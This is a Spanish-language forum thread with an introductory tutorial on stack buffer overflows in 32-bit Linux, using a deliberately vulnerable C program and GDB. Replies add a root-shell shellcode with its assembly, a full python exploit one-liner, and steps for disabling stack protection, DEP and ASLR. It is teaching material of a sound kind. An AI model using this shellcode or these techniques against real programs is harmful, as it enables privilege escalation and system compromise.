Nuestro primer BufferOverflow.

Iniciado por shkz, Septiembre 11, 2016, 12:38:22 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Bueno hoy como un amigo no entendia bien el concepto se me ocurrio crear una entrada en mi blog con lo siguiente, mas que nada porque nunca lo habia hecho en mi blog. Como siempre, trato de compartirlo y esperar que sea util para alguien, aunque sea algun invitado perdido del mas alla y nunca me entere. jeje..

Esto es para los que inician y que sea compatible con las ultimas distros de Linux, ojala sirva de partida o impulso a seguir progresando.



# REQUISITOS PREVIOS:

Los únicos requisitos son saber un básico de assembler, gcc y conocimientos de C.



CONTENIDO:
[Segmentacion de la memoria]
[Registros assembler de uso comun]
[Manejo de memoria en una llamada a función]
[Ahora si.. ¿Que es un Buffer Overflow?]
[Nuestro codigo C vulnerable]
[Desensamblando con GDB]
[Creando el payload y desbordando el buffer]


[Segmentacion de la memoria] de un programa en C:

Cuando compilamos un programa con su respectivo código fuente, por ejemplo en C, la memoria se divide en 5 partes fundamentales como muestra la siguiente imagen:



Command-Line arguments and environment variables // Argumentos de Linea de Comandos y variables de Entornos:
Acá es donde se almacenan los argumentos que le pasamos al binario al momento de correrlo, y también las variables de entornos. Por ejemplo:

Código: php
$> ./binario [Argumento1] [Argumento2]


#STACK:
La famosa pila, es el lugar donde se usa como memoria temporal para almacenar las variables de funciones locales y contexto durante las llamadas a funciones.
La pila es una estructura de datos abstractos que se usan con frecuencia.
El método en que los datos se ingresan es en modo LIFO del ingles Last Input, First Output. Que quiere decir Ultimo entrado, Primero salido. Imagínenlo como un mazo de cartas. Al poner una carta encima de la otra, para retirar la que esta debajo, primero tendríamos que sacar la que pusimos en ultimo lugar, y por ultimo sacaríamos la que estaba debajo de todo.

#HEAP:
El heap es un segmento de la memoria que puede ser manejado directamente por el programador, quien puede colocar y usar los bloques de memoria del segmento para lo que quiera. Siempre que se use por ejemplo la funcion "malloc" para obtener memoria dinamicamente sera asignado en el HEAP.

#Uninitialized data o No-Inicializadas.. (BSS SEGMENT):
Es el segmento donde se encuentran las variables estáticas y globales no inicializadas.

#Initialized data o Inicializadas.. (DATA SEGMENT):
En su contrapartida a la anterior, es donde se almacenan todas las variables estáticas y globales inicializadas.

#TEXT:
En este lugar los permisos de escritura suelen estar deshabilitados y no se usa para almacenar variables. Solo código. Posee un tamaño fijo, ya que no hay nada que permita cambiarlo. El loader carga instrucciones desde acá y las ejecuta.



[Registros assembler de uso comun]

Explicare ahora algunos de los registros assembler que ya deberían tener en claro, pero por si las dudas:

EAX,EBX,ECX,EDX:
Estos registros son de propósito general.. suelen usarse para varias cosas pero principalmente como variables temporales para la CPU cuando esta ejecutando instrucciones de maquina.


EIP:
Es el registro de puntero de instrucción. Señala la instrucción que el procesador esta leyendo actualmente.. piénsenlo cuando de chicos leíamos un libro y con nuestro dedo seguíamos cada palabra.

ESP:
Es el registro puntero de STACK. Almacena la dirección de lo alto de la pila.
Como dije anteriormente, imaginemos que es un mazo de cartas, este registro almacena la dirección del ultimo elemento que se añadió al mazo.

EBP:
Es el registro puntero que posee la dirección base de la pila, a contrapartida de ESP que mantenía la dirección de la cima de la pila. EBP contiene el puntero al primer bloque de la memoria del rango de bloques mientras que ESP representa el ultimo bloque de la memoria de una función.

[Manejo de memoria en una llamada a funcion]:

Para entender mejor todo esto, veremos un pequeño código y explicare paso a paso que va sucediendo:

Código: c
int test(int a, int b) {
    int x, z;
}
int main() {
    test(10, 12); 
}


Bien, como vemos, tenemos la funcion MAIN(), y la funcion test(). Mediante main llamamos a la función test() pasandole dos enteros y la función test() recibe esos dos valores enteros. Ademas se declaran 2 variables enteras llamadas 'x' y 'z' sin ningun valor especifico.

¿Pero como funciona esto a nivel memoria?.. asi:

EIP se encuentra con la llamada a la funcion test(). Automaticamente se ingresan los datos a la pila, el orden es de derecha a izquierda. Por ende primero se hara un PUSH de 12 y luego de 10:


10
12
******


Una vez hecho eso se necesita saber como seguir después de que la función TEST termine, por ende se pone la direccion de la siguiente instrucción en la pila.

Una vez se realiza esto, se pone la dirección de la función TEST() en el EIP ahora apunta a la función TEST() la cual toma control.

Como ahora nos encontramos en la función TEST(), se requiere actualizar el registro EBP. Pero antes guardamos EBP en la STACK, para una vez terminado el trabajo, sepamos regresar a la función MAIN() sin problemas.

Luego, se setea EBP igual a ESP. Ahora EBP apunta al actual puntero de pila o stack pointer, (ESP viene del ingles Extended STACK POINTER).

A continuación se ponen las variables locales que declaramos "x" y "z" en el espacio reservado en la STACK. El valor de ESP a raíz de esto es modificado.

Una vez que la función TEST() finaliza.. se necesita regresar al marco de pila anterior (o stack frame en ingles). Por lo tanto se setea ESP al EBP con el valor anterior. Se retira EBP con el valor anterior de la STACK y se vuelve a almacenar en EBP. Ahora el EBP apunta de regreso a MAIN(). (recuerdan que arriba lo habíamos almacenado para poder acordarnos como regresar?).

Para finalizar, se quita el RET ADDRESS de la pila que habíamos puesto y EIP ahora apunta a la dirección que contenía el RET, justamente una instruccion despues del CALL a la función TEST().

Algo así quedaría la Memoria mientras se ejecuta la funcion TEST():

*************************************************
12
*************************************************
10
*************************************************
<RET ADDRESS>
*************************************************
<EBP de MAIN()>                         >>>>>>>>>>>>> EBP
*************************************************
Lugar asignado para variable "x"
*************************************************
Lugar asignado para variable "z"  >>>>>>>>>>>>> ESP
*************************************************


Después de esto tedioso.. Empecemos con un poco mas de diversion.

[Ahora si.. ¿Que es un Buffer Overflow?]



En pocas palabras el Buffer Overflow, desde ahora BOF, ocurre cuando en un programa o proceso se intenta almacenar mas datos en un buffer del que este fue previamente programado. Cuando los buffers (espacios de memoria destinados para cierta cantidad de datos), son sobrecargados, como si fuese un vaso de agua que contiene cierta capacidad para contenerla y cuando esta al máximo, la famosa gota que rebalsa el vaso. En esto es lo mismo, los datos extras que rebalsa de un buffer pueden tener distintos impactos desde corromper una aplicación y detenerla, los bytes sobrantes pueden almacenarse en buffers o zonas de memorias adyacentes.. etc.

Un usuario malintencionado podría guiar un BOF para influir en determinado funcionamiento del sistema, como por ejemplo la escalada de privilegios, etc.

[Nuestro código C vulnerable]:

Pueden descargar el codigo de aca: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.



Bien, este código es muy básico, pero no menos util. Una breve reseña de lo que hace: Ademas de la función main() posee dos funciones VERIFICAR() y FuncionOBJETIVO(). Una vez que se llama a la función Verificar(), se declara un Buffer de 15 caracteres y se solicita una clave; si la clave es diferente a "passw0rd", dará error. Si es correcta, invoca a la FuncionOBJETIVO().

Nuestra idea claramente no es poner el password correcto, es solo un detalle.
Nuestro verdadero objetivo sera en este ejemplo, modificar el RETurn address y lograr ejecutar como RET la address de FuncionOBJETIVO() sin introducir el password correcto, solo desbordando el buffer.

Una vez tienen el código, hay que compilarlo. La siguiente sintaxis compilara mediante GCC el código, atención al flag -fno-stack-protector. Este flag deshabilita la protección de la pila que viene por default. (Mas adelante se tocaran temas de protecciones, etc.). De momento testeamos de esta manera. Si estas usando un sistema operativo de 64bits, hay que agregarle otro flag -m32. Tambien le agrego el flag -g para que luego el gdb me muestre el codigo fuente mientras lo manipulamos.



Una vez compilado, procedemos a ejecutarlo:



Como vemos, ejecutamos el binario ./final, ingresamos un passwd incorrecto. Luego reintentamos con el correcto y nos demuestra que invoca la FuncionOBJETIVO() correctamente, y luego intentamos desbordarlo manualmente con muchos "9".
Nos arroja un Segmentation Fault. Tipico error de crasheo.

[Desensamblando con GDB]:

Es importante aclarar antes que las direcciones de memoria podrían variar levemente en sus maquinas y no ser iguales a las mías.

Vamos a correr nuestro binario en GDB (GNU Debugger) y desensamblamos la función MAIN():





No hay mucho por ver, ya que solo se limita a llamar a la funcion Verificar().

Ahora desensamblamos la función VERIFICAR() y resalto lo mas importante:



En la tercer linea vemos como se reserva un espacio de 0x28 (en hexadecimal), que pasado a Decimal es: 40. En este lugar es donde se reservan las variables locales de la función. En la siguiente linea con mas claridad vemos:



Esta linea nos indica donde es que empieza buffer justo 0x1B (1B en hexadecimal; y decimal es: 27) bytes antes a EBP.

Bien, por ultimo nos queda desensamblar la FuncionOBJETIVO():



La FuncionOBJETIVO() empieza en la direccion 080484cb.


[Creando el payload y desbordando el buffer]:

Vamos a reunir lo que comentamos arriba y diseñar el payload, este es el que se va a encargar de desbordar el buffer y hacernos llegar a esa FuncionOBJETIVO(). sin necesidad de poner el password, aprovechándonos de un RET.

Como dije antes, nuestro buffer comienza a 27 bytes antes del EBP. Esto quiere decir que tenemos 27 bytes y luego vienen 4 bytes mas de EBP. El Base Pointer. Luego de eso como habiamos visto al principio, tendríamos que encontrarnos con el RET ADDRESS, que es la direccion de retorno, una vez que la función finalice EIP usara esa direccion para regresar.

Y ese es el punto en el que vamos a desbordar y abusar del RET para que nos lleve a la FuncionOBJETIVO(). Sabemos que la direccion de nuestra FuncionOBJETIVO(), comienza en "080484cb"..

La cosa estaría mas o menos así:

Código: php
27 bytes+4bytes = 31bytes tenemos de caracteres random. 
Los 4 bytes restantes serán de la direccion de la FuncionOBJETIVO() en el RET.


Bien haremos lo siguiente, vamos a invocar python para aplicar nuestro payload sobre el binario. Ahora suponiendo que sus maquinas utilicen Little-Endian, cosa que asi es en mi caso (mas info en wikipedia), tenemos que ingresar los bytes del siguiente modo a la inversa para que funcione, si la direccion era "08 04 84 CB" tenemos que aplicarlo al revés... "CB 84 04 08".

Invocamos python del siguiente modo:



Se invoca python, y se envían al binario 31 bytes (letras "A"), y se le suman 4 bytes finales que son la direccion donde empieza la FuncionOBJETIVO(). Mediante el pipe se le pasa al binario y logramos obtener el mensaje de "Buffer Overflow con éxito".

Para finalizar, decir que hay varias funciones vulnerables a BOF, strcpy(), gets(), scanf(), sprintf(), strcat(), etc

Espero que como introducción haya servido, cualquier duda ya saben, me escriben.
Saludos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Security Researcher
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una vez hecho esto, ya que controlo el registro EIP y por lo visto el EBP también, ¿cómo puedo hacer el salto a una shellcode? Suponiendo que le paso esta misma como parte del argumento. He investigado un poco y vi que necesitaba buscar en el código funciones como RET, JMP, PUSH. En especial le presté atencion a PUSH y RET. Según entendí, Si pones una dirección en EBP, RET saltará a ella. Aunque estoy intentando hacerlo usando una versió del programa creada por mi. Aunque pude acceder a la funcion objetivo (panelControl) no logro ejecutar el shellcode. ¿Puede ser que influya que no utilicé el parámetro --fno-stack-protector a la hora de compilar? Yo supuse que no ya que con o sin el pude acceder a la función. El código es el siguiente:
Código: php

#include <stdio.h>
#include <string.h>

void panelControl(char *cn[]){
printf("ACCESO CONCEDIDO. xD\n");
}

void verificarAcceso(char *codename[]){
char cdnm[50]; strcpy(cdnm, codename);
printf("Procesando: %s\n", cdnm);
if(strcmp(cdnm, "asdfghjkl")) {
printf("NO ENCONTRADO.\n");
} else {
panelControl(cdnm);
}
}

int main (int argc, char *argv[]){
if(argc > 1) {
verificarAcceso(argv[1]);
} else {
printf("Indicar el argumento.\n");
}
return 0;
}


Me indica el 'Segmentation fault' cuando le paso 58 o más caracteres, de ahí uso los últimos 37 para el shellcode. Los 4 bytes siguientes son EBP y los 4 que siguen son EIP.

Este es el shellcode que estoy utilizando:
Código: php

\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80


Lo encontré en internet y como venía con un código ASM decidí probarlo para comprobar si funcionaba la shellcode en mi sistema. Entonces compilo y pruebo:


El código del shellcode en ASM es el siguiente:
Código: php

  push  $0x17
  pop    %eax
  xor     %ebx, %ebx
  int     $0x80

  push  $0x2e
  pop    %eax
  push  %ebx
  int     $0x80

  xor     %edx, %edx
  push   $0xb
  pop     %eax
  push   %edx
  push   $0x68732f2f
  push   $0x6e69622f
  mov    %esp, %ebx
  push   %edx
  push   %ebx
  mov    %esp, %ecx
  int      $0x80


Entonces si no me equivoco el supuesto exploit quedaría de la siguiente forma:
Código: php

python2.7 -c 'print "A"*21+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"\xf7\xcf\xff\xff"+"\x1b\x85\x04\x08"'


Suponiendo que 0xffffcff7 es la dirección donde comienza el shellcode, que estaría sobreescribiendo en ESP y 0x0804851b es la dirección de un RET. Y así saltar al shellcode, creo xD. Procedo a compilar el programa:


Me salen unos avisos a la hora de compilar. Pero como me generó el ejecutable de todas formas y estoy emocionado, no me molesto en ver de que se tratan y sigo.


No funciona :(
Si trato de sólo acceder a la funcion 'panelControl' basta con poner su dirección 0x0804849b en el EIP y funciona:


Pero no logro hacer que se ejecute el shellcode. Como podrán observar no tengo mucha experiencia, tal vez me estoy pasando algo o lo estoy haciendo de la forma equivocada. Me basé también mucho en este video, aunque no pude comprender del todo ya que su inglés es muy inglés jaja xD: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Salúos.

Octubre 09, 2016, 12:53:25 PM #2 Ultima modificación: Octubre 13, 2016, 08:36:03 PM por grep
Por defecto el linker ld protege el segmento del stack configurando su correspondiente program header como de solo lectura y escritura "RW" (este mecanismo de protección se conoce como  Data Execution Prevention o DEP). Para ejecutar código en el stack se necesita el flag "E" (permiso de ejecución). Esto se hace con la opción -z execstack en gcc.

También se puede habilitar el flag "E" del stack de un programa o librería ya compilada ejecutando execstack -s <PROGRAMA>.

Además debes utilizar la opción -fno-stack-protector porque, de estar habilitada, el compilador agrega más código al programa para comprobar que no se ha sobreescrito la dirección de retorno en el stack.

CitarThe basic idea behind stack protection is to push a "canary" (a randomly chosen integer) on the stack just after the function return pointer has been pushed. The canary value is then checked before the function returns; if it has changed, the program will abort. Generally, stack buffer overflow (aka "stack smashing") attacks will have to change the value of the canary as they write beyond the end of the buffer before they can get to the return pointer. Since the value of the canary is unknown to the attacker, it cannot be replaced by the attack. Thus, the stack protection allows the program to abort when that happens rather than return to wherever the attacker wanted it to go.

fuente:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos

oww genial post, podrias publicar mas info de esto? gracias!

Que tal @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta gracias por la info.

Ya conseguí ejecutar el shellcode, poniendo NOP's en lugar de A's al inicio del buffer y saltando directamente a la direccion del arreglo usando EIP. Pero solo lo logre desde gdb, y si lo vuelvo a correr ya no funciona.


Debo salir y volver a entrar a gdb para que funcione. Y si lo corro directamente desde la terminal tampoco ejecuta el shellcode.

[

¿Alguien sabe por que sucede esto?

Salúos.

Octubre 13, 2016, 12:38:34 PM #5 Ultima modificación: Octubre 13, 2016, 08:03:19 PM por grep
Básicamente la respuesta es que las direcciones del stack no son las mismas durante la ejecución, es por esto que puedes obtener el resultado inesperado de retornar a direcciones que no son las correctas. Esto puede suceder por diversos motivos:

- ASLR habilitado en el sistema que ejecuta al programa
- Variables de entorno al momento de ejecutar el programa
- Argumentos que se pasan al programa que se ejecuta

El problema de las Variables de entorno y Argumentos del programa sucede porque el loader de Linux coloca estos valores en el espacio de memoria del proceso justo antes del comienzo del stack (variables de entorno en lo más alto del espacio de memoria, después los argumentos de programa, después el stack).


ASLR
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Y si lo corro directamente desde la terminal tampoco ejecuta el shellcode.

Aquí te enfrentas con una protección del SO. Linux por defecto tiene habilitada su implementación de la técnica denominada ASLR (Address Space Layout Randomization).

GDB por defecto deshabilita ASLR para el proceso mediante la opción set disable-randomization on, pero también se puede habilitar ejecutando set disable-randomization off. Puedes ver si esta opción se encuentra habilitada ejecutando show disable-randomization.

Para deshabilitar ASLR en Linux, sin GDB, puedes:

(1) Setear personality options (-R o --addr-no-randomize para habilitar ADDR_NO_RANDOMIZE, osea, deshabilitar ASLR) en el proceso a ejecutar:

Código: php
setarch $(uname -m) -R <tu_programa>


o, para bash y sus procesos hijos:

Código: php
setarch $(uname -m) -R /bin/bash


(2) Deshabilitar ASLR para los procesos ejecutando:
Código: php
sysctl -w kernel.randomize_va_space=0


Citar
randomize_va_space:

This option can be used to select the type of process address
space randomization that is used in the system, for architectures
that support this feature.

0 - Turn the process address space randomization off.  This is the
    default for architectures that do not support this feature anyways,
    and kernels that are booted with the "norandmaps" parameter.

1 - Make the addresses of mmap base, stack and VDSO page randomized.
    This, among other things, implies that shared libraries will be
    loaded to random addresses.  Also for PIE-linked binaries, the
    location of code start is randomized.  This is the default if the
    CONFIG_COMPAT_BRK option is enabled.

2 - Additionally enable heap randomization.  This is the default if
    CONFIG_COMPAT_BRK is disabled.

    There are a few legacy applications out there (such as some ancient
    versions of libc.so.5 from 1996) that assume that brk area starts
    just after the end of the code+bss.  These applications break when
    start of the brk area is randomized.  There are however no known
    non-legacy applications that would be broken this way, so for most
    systems it is safe to choose full randomization.

    Systems with ancient and/or broken binaries should be configured
    with CONFIG_COMPAT_BRK enabled, which excludes the heap from process
    address space randomization.
Fuente:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

(3) Bootear el kernel con el parámetro norandmaps


Variables de entorno
Para el problema de las variables de entorno, puedes ejecutar tu programa de esta forma:

Código: php
env - /path/to/<tu_programa>


o, tu programa dentro del GDB con:

Código: php
env - gdb /path/to/<tu_programa>


env - es igual a env -i. De esta forma se ejecuta un programa con un entorno limpio (osea, sin variables de entorno).

GDB, además, crea sus propias variables de entorno. Esto lo puedes ver ejecutando show env, y puedes borrar dichas variables con unset env <VARIABLE>.


Argumentos del programa
Es recomendable que ejecutes tu programa de la forma /path/to/tu_programa ya que argv[0] almacena el nombre del programa de la forma en que se ejecuta (si ejecutas tu programa como ./stack, entonces argv[0]="./stack", y si ejecutas /path/to/tu_programa, entonces argv[0]="/path/to/tu_programa").

Entonces, es mejor que ejecutas tu programa como /path/to/tu_programa y ejecutes gdb como gdb /path/to/tu_programa


NOTA:
Todo esto que te explico lo puedes encontrar en esta fuente:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Además se comparte un bash script que sirve como wrapper para ejecutar un programa permitiendo que el stack mantenga las mismas direcciones:

Citar
When learning to exploit with memory safety vulnerabilities, I recommend to use the wrapper program below, which does the heavy lifting and ensures equal stack offsets:

Código: php
$ invoke stack         # just call the executable
$ invoke -d stack      # run the executable in GDB


Here is the script:

Código: bash
#!/bin/sh

while getopts "dte:h?" opt ; do
  case "$opt" in
    h|\?)
      printf "usage: %s -e KEY=VALUE prog [args...]\n" $(basename $0)
      exit 0
      ;;
    t)
      tty=1
      gdb=1
      ;;
    d)
      gdb=1
      ;;
    e)
      env=$OPTARG
      ;;
  esac
done

shift $(expr $OPTIND - 1)
prog=$(readlink -f $1)
shift
if [ -n "$gdb" ] ; then
  if [ -n "$tty" ]; then
    touch /tmp/gdb-debug-pty
    exec env - $env TERM=screen PWD=$PWD gdb -tty /tmp/gdb-debug-pty --args $prog "$@"
  else
    exec env - $env TERM=screen PWD=$PWD gdb --args $prog "$@"
  fi
else
  exec env - $env TERM=screen PWD=$PWD $prog "$@"
fi


O se puede utilizar el script del siguiente repositorio:

Citarfixenv
A script to make stack addresses the same when running a program under gdb,ltrace,strace or without debugging (without ASLR of course). Env variables order is saved too.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos